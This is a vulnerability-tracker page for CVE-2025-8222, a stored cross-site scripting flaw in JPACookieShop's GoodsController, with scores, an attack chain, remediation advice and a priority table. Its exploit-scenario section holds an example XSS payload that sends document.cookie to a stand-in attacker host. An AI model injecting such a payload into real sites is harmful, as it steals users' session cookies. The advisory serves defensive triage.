Skip to main content

JPACookieShop CVE-2025-8222

LOW
Cross-site Scripting (XSS) (CWE-79)
2025-07-27 cna@vuldb.com
2.0
CVSS 4.0 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with valid credentials
  2. Delivery
    Access product editing endpoint
  3. Exploit
    Inject XSS payload into product field
  4. Execution
    Submit to database
  5. Persist
    Victim browses product page
  6. Impact
    JavaScript executes in victim browser

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) Valid authenticated user session (PR:L - login credentials needed); (2) Access to product creation or editing functionality in GoodsController (may be restricted to vendors or admins); (3) Other users must browse the affected product page for payload execution (UI:P - victim interaction required). Exploitation is NOT possible against unauthenticated access, default-deny configurations, or deployments where product data is rendered with automatic HTML escaping. The vulnerability is limited to web browsers; does not affect APIs returning JSON or backend services.

Impact

The risk profile presents significant discrepancies between raw CVSS and real-world exploitability. CVSS 2.0 is exceptionally low, driven by: authenticated requirement (PR:L), user interaction requirement (UI:P), and limited impact (VI:L with no confidentiality/availability damage). However, EPSS at 0.05th percentile suggests minimal exploitation probability in the wild. The presence of publicly available exploit code (POC status confirmed) conflicts with low EPSS, indicating disclosure was technical/targeted rather than broadly weaponized. The attack vector is network-accessible but requires: (1) valid login credentials, (2) navigation to affected endpoints, and (3) victim user interaction to trigger stored payload. This triple gate significantly limits mass exploitation. For organizations running JPACookieShop, this is a moderate priority for authenticated user bases but not a critical remote threat. The continuous rolling-release delivery model means patching status cannot be determined from version numbers alone, requiring vendor contact for confirmation of remediation.

Exploit ScenarioDerived

An authenticated user (e.g., product vendor or admin) with access to product creation/editing endpoints injects malicious JavaScript (e.g., '<img src=x onerror="fetch('//attacker.com/steal?c='+document.cookie)">') into a product name or description field. When other users (customers, admins) browse that product listing, the stored payload executes in their browser context, stealing session cookies or redirecting to a phishing page. Public exploit code at https://github.com/Bemcliu/cve-reports demonstrates the stored XSS vector.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 29, 2026

Stored cross-site scripting (XSS) in JPACookieShop GoodsController allows authenticated users to inject malicious scripts that execute in other users' browsers, with public exploit code available and CVSS 2.0 reflecting low impact due to required user interaction and authenticated access prerequisites.

RemediationAI

No specific patched version is identifiable due to the continuous delivery model; coordinate with jerryshensjf project maintainers via GitHub to confirm if fixes have been merged to the main branch post-disclosure (check https://github.com/Bemcliu/cve-reports and the official JPACookieShop repository for remediation commits). Immediate compensating controls: (1) Implement strict HTML entity encoding on all product data (name, description, attributes) in GoodsController response templates using a templating engine with auto-escaping enabled (e.g., Thymeleaf with th:text instead of th:utext); (2) Deploy a Content Security Policy (CSP) header restricting inline scripts (Content-Security-Policy: default-src 'self'; script-src 'self') to prevent payload execution; (3) Restrict authenticated user access to GoodsController endpoints via role-based access control if editing product data is admin-only; (4) Conduct input validation on product fields server-side to reject or sanitize special characters before persistence. Trade-off: CSP may break legitimate product display features if inline event handlers are used; coordinate template refactoring accordingly.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

JPACookieShop is a Java-based e-commerce platform using JPA (Java Persistence API) for data access. The vulnerability exists in GoodsController.java, a Spring MVC controller component that handles product-related HTTP requests. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) indicates inadequate input sanitization on product data endpoints before rendering to HTML templates. Stored XSS vulnerabilities in e-commerce platforms typically arise when user-supplied data (product names, descriptions, reviews) is persisted to a database and later rendered without HTML entity encoding or content security policy enforcement.

Know when Jpacookieshop gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

A vulnerability, which was classified as problematic, has been found in jerryshensjf JPACookieShop 蛋糕商城JPA版 up to 24a15c02b4f75042c9f7f615a3fed2ec1cefb999. Affected by this issue is some unknown functionality of the file GoodsController.java. The manipulation leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. Multiple endpoints are affected.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

cpe:2.3:a:jerryshensjf:jpacookieshop:-:*:*:*:*:*:*:*

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy